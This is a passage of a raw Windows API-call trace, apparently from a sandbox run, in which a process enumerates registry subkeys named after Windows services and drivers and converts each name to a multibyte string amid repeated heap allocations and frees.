cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.479] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.479] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0246.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.480] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.480] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.480] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.480] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0246.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.481] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.481] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.481] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0246.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0246.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.484] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.484] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.484] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0246.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 